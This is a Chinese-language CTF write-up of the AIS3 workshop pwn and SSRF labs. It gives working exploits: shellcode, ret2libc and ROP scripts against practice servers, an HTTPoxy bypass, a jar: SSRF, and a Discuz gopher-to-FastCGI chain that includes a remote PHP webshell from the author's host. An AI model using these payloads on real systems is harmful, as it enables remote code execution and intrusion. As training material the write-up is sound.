前言
AIS3 workshop是AIS3上課的pwn跟SSRF練習平台。
因為平台好像關惹,我也懶得重搞環境打一次
所以下面解法很多都是憑著印象打出來的,有錯請見諒
lab1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #include <stdio.h> #include <unistd.h> void get_flag(){ int fd ; unsigned long password; unsigned long magic ; char key[] = "why_my_teammate_Orange_is_so_angry??"; char cipher[] = "hahaha"; fd = open("/dev/urandom",0); read(fd,&password,8); printf("Give me maigc :"); scanf("%lu",&magic); if(password == magic){ for(int i = 0 ; i < sizeof(cipher) ; i++){ printf("%c",cipher[i]^key[i]); } } } int main(){ setvbuf(stdout,0,2,0); get_flag(); return 0 ; }
|
這題他讀了一個random的的password
然後要我們輸入的magic跟他一樣才會印出flag
要繞過這個判斷
可以用gdb跑
然後先下個斷點讓他停住
接著
讓她直接跳過判斷去執行後面指令
FLAG就會彈出來了
Practice1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> void l33t(){ puts("Congrat !"); system("/bin/sh"); } int main(){ char buf[0x20]; setvbuf(stdout,0,2,0); puts("Buffer overflow is e4sy"); printf("Read your input:"); read(0,buf,100); return 0 ; }
|
這題題目super短,一臉就是直接跳到l33t就能拿到shell的樣子
payload:
1
| perl -e 'print "a"x40, "\x46\x06\x40\x00\x00\x00\x00\x00"'
|
Practice2
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <unistd.h> #include <stdio.h> #include "mysandbox.h" char shellcode[200]; int main(){ setvbuf(stdout,0,2,0); my_sandbox(); printf("Give me your shellcode:"); read(0,shellcode,200); (*(void(*)())shellcode)(); }
|
這題就是執行我們輸入的shellcode
題目還說flag在/home/orw64/flag
就是個寫shellcode的練習
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * host = "pwnhub.tw" port = 11112 r = remote(host, port) context.arch = "amd64" sc = asm(""" xor rdi, rdi xor rsi, rsi xor rdx, rdx jmp str open: pop rdi mov rax, 2 syscall read: mov rdi, rax mov rsi, rsp mov rdx, 0x50 xor rax, rax syscall mov rdx, rax mov rsi, rsp mov rdi, 1 mov rax, 1 syscall exit: mov rax, 60 syscall str: call open .ascii '/home/orw64/flag' .byte 0 """) r.recvuntil(":") r.send(sc) r.interactive()
|
lab2
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <stdio.h> char name[50]; int main(){ setvbuf(stdout,0,2,0); printf("Name:"); read(0,name,50); char buf[30]; printf("Try your best:"); gets(buf); return ; }
|
這題就是個沒開DEP,然後塞shellcode到name
再蓋return address成name的位址
就能執行shellcode的概念
payload:
1
| perl -e 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n","a"x62, "\x80\x10\x60\x00\x00\x00\x00\x00"'
|
FLAG大概長這樣:AIS3{JumP_to_sh3llcod3_jUmp_t0_th3_w0rld}
lab3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> void See_something(void *addr) { unsigned long long *address ; address = (unsigned long long *)addr ; printf("The content of the address : %p\n",*address); }; int main(){ char address[10] ; char message[256]; unsigned int addr ; puts("###############################"); puts("Do you know return to library ?"); puts("###############################"); puts("What do you want to see in memory?"); printf("Give me an address (in hex) :"); fflush(stdout); read(0,address,10); addr = strtoll(address,0,16); See_something(addr) ; printf("Leave some message for me :"); fflush(stdout); gets(message); printf("%s\n",message); puts("Thanks you ~"); return 0 ; }
|
這題就是return to libc
可以先塞puts的got位址給他
他會讀出puts_got的值
我們就可以用puts_got - puts_offset算出base address
有base就輕鬆惹
system的位址 = base + system offset
再來參數塞/bin/sh的位址就能拿到shell了
然後64位元參數優先用register傳遞,跟32位元的stack抓參數不太一樣
所以我們要先找個pop rdi的gadget
把/bin/sh的位址pop到rdi裡
再跳到system位址才能拿到shell
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * puts_got = "601018" puts_off = 0x6f690 gets_off = 0x6f440 system_off = 0x45390 sh = 0x4003c4 pop_rdi = 0x400843 r = remote('pwnhub.tw', 8088) r.send(puts_got + "\n") r.recvuntil('The content of the address : ') puts_addr = r.recvline() base = int(puts_addr,16) - puts_off gets_addr = base + gets_off system_addr = base + system_off r.send("A"*280 + p64(pop_rdi) + p64(sh) + p64(system_addr) + p64(system_addr) + "\n") r.interactive()
|
FLAG看起來長這樣:AIS3{ret_2_lib_1s_v3ry_coMm0n_in_r34l_w0rld}
lab4
1 2 3 4 5 6 7 8 9 10
| #include <stdio.h> #include <unistd.h> int main(){ char buf[20]; puts("ROP is easy is'nt it ?"); printf("Your input :"); fflush(stdout); read(0,buf,160); }
|
這題就是要我們自己組ROP拿shell
一般來說這種靜態編譯都有很多ROP gadget
可以用工具ROPgadget –binary simplerop_revenge –ropchain
來幫我們自動組Gadget拿shell
但缺點就是可能太長塞不下,所以要手動組
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * offset = 40 r = remote('pwnhub.tw',8361) context.arch = "amd64" payload = 'a'*40 mov_drdi_rsi = 0x47a502 pop_rdi = 0x401456 pop_rsi = 0x401577 pop_rax_rdx_rbx = 0x478516 syscall = 0x4671b5 buf = 0x6c9a20 rop = flat([pop_rdi, buf, pop_rsi, "/bin/sh\x00", mov_drdi_rsi,pop_rsi,0,pop_rax_rdx_rbx,0x3b,0,0,syscall]) payload += rop r.sendline(payload) r.interactive()
|
FLAG大概長這樣:AIS3{rop_Rop_Rop_then_RIP}
lab5
1 2 3 4 5 6 7 8 9 10
| #include <stdio.h> #include <stdlib.h> int main(){ char buf[20]; setvbuf(stdout,0,2,0); printf("Try your best :"); gets(buf); puts("boom !"); }
|
這題題目爆幹短
思路大概是這樣,call puts_plt把puts_got的值輸出出來
然後一樣減掉puts_offset就能得到base address
接著可以再call一次main去構造我們的system(“/bin/sh”)
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * puts_got = 0x601018 puts_plt = 0x4004e0 puts_off = 0x6f690 system_off = 0x45390 sh_off = 0x18c177 pop_rdi = 0x4006f3 main = 0x400636 r = remote('pwnhub.tw', 56026) r.send("A"*40 + p64(main) + "\n") r.send("A"*40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) + "\n") r.recvuntil('boom !') print r.recvline() print r.recvline() tmp = r.recvline().strip() print enhex(tmp) cool = input() base = cool - puts_off base2 = cool - puts_off system = system_off + base2 sh = sh_off + base r.send("A"*40 + p64(pop_rdi) + p64(sh) + p64(system) + p64(system) + "\n") r.interactive()
|
bonus
這題沒給source code
objdump出來長這樣:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| ./end: file format elf64-x86-64 Disassembly of section .text: 00000000004000b0 <_start>: 4000b0: 48 31 c0 xor rax,rax 4000b3: 48 31 db xor rbx,rbx 4000b6: 48 31 c9 xor rcx,rcx 4000b9: 48 31 d2 xor rdx,rdx 4000bc: 48 31 ff xor rdi,rdi 4000bf: 48 31 f6 xor rsi,rsi 4000c2: 4d 31 c0 xor r8,r8 4000c5: 4d 31 c9 xor r9,r9 4000c8: 4d 31 d2 xor r10,r10 4000cb: 4d 31 db xor r11,r11 4000ce: 4d 31 e4 xor r12,r12 4000d1: 4d 31 ed xor r13,r13 4000d4: 4d 31 f6 xor r14,r14 4000d7: 4d 31 ff xor r15,r15 4000da: 48 31 ed xor rbp,rbp 4000dd: e8 10 00 00 00 call 4000f2 <_end> 4000e2: b8 3c 00 00 00 mov eax,0x3c 4000e7: 48 31 ff xor rdi,rdi 4000ea: 48 31 f6 xor rsi,rsi 4000ed: 48 31 d2 xor rdx,rdx 4000f0: 0f 05 syscall 00000000004000f2 <_end>: 4000f2: 48 81 ec 28 01 00 00 sub rsp,0x128 4000f9: 48 89 e6 mov rsi,rsp 4000fc: ba 48 01 00 00 mov edx,0x148 400101: 0f 05 syscall 400103: 48 81 c4 28 01 00 00 add rsp,0x128 40010a: c3 ret
|
這題關鍵就是要構造編號(rax)322的system call: stub_execveat
他跟execve一樣可以叫出shell,底層實作似乎一樣(我沒研究就是惹…
那要怎麼讓rax變成322呢…
很簡單,因為中間會call read讀資料,只要讀322 bytes
返回值rax就會等於322
接著我們輸入的時候一開始直接輸入/bin/sh\0
因為rsi(execveat的filename)原本就是輸入buffer的開頭,也就是/bin/sh,所以也不用特別處理
唯一要注意的是execveat的其他暫存器值要清成0才能work
在這題就是要把rdx清空才行((我一開始一直沒清,想說怎麼一直拿不到shell QQ
可以直接跳到0x4000ed的xor rdx, rdx就行,而且下一行就是syscall,讚讚
payload:
1
| perl -e 'print "/bin/sh","\x00","\x0a\x01\x40\x00\x00\x00\x00\x00"x38,"\xed\x00\x40\x00\x00\x00\x00\x00","\xb0\xdd"'
|
FLAG大概長這樣:AIS3{r0p_is_e4sy_4nd_fUn}
Bonus - HTTProxy
這題就是orange上課講的Header會被代成環境變數(加上HTTP_的prefix)
然後HTTP_Proxy又會被許多http library當成Proxy用
所以只要在我的Web Server新增這樣一個檔案: x.x.x.x/waf/index.php
內容為<?php echo 'ok'; ?>
接著curl --header 'Proxy: x.x.x.x' https://54.199.254.155/cgi-bin/?id=1
就能繞過waf惹,繞過之後直接對id做SQL injection就能拿到FLAG
hitcon{Did you know httpoxy.org?}
Bonus - Jar
這題有一個可以送出URL的地方
這裡可以SSRF,而且file://可以遍歷目錄
然後仔細觀察可以發現他有個?page=orange
的參數
他會去load users/orange.tmp這個檔案
這題就是要利用到jar協議的特性
塞給他一個jar:形式的網址,他會去抓這個檔案做暫存,但是抓完就會刪除暫存
所以就是要想辦法塞給他惡意檔案,然後讓他抓完之後不立刻結束連線
再想辦法去跑這個暫存檔
這裡我是用https://github.com/pwntester/BlockingServer
在機器x.x.x.x上新建kaibro.php
跑Blocking Server: java BlokingServer 12345 kaibro.php
URL的地方塞jar:http://x.x.x.x:12345/kaibro.php!/
讓它卡住
再來用file:///tmp/
去看暫存檔的名字,可能檔名叫jar_cache123456.tmp之類的
然後利用?page=../../../../../../tmp/jar_cache123456
就可以跑我們的php囉
FLAG長這樣:hitcon{Life so hard :(}
Bonus - Discuz Pwn
Discuz因為感覺會很難所以沒解,剩下其他題的話解法應該Google都找得到(?
Update:
後來太無聊,跑去架了一樣的Discuz環境打打看
基本上,orange上課的投影片就已經是解法了XDD
因為_dfsockopen實作中,有FOLLOWLOCATION
所以可以利用SSRF 302跳轉的方式去偽造FastCGI協議
在我自己的Server上,建立一個302.php:
1 2
| <?php header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );
|
這一整串噁心的東西,主要就是在偽造FastCGI協議
然後讓他去include我Server上的php script (http://kaibro.tw/x)
Server上的x:
1
| <?php system($_GET['cmd']); ?>
|
然後訪問http://thisdiscuzsite/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]
它就會成功include我們的x進來
也就可以執行webshell惹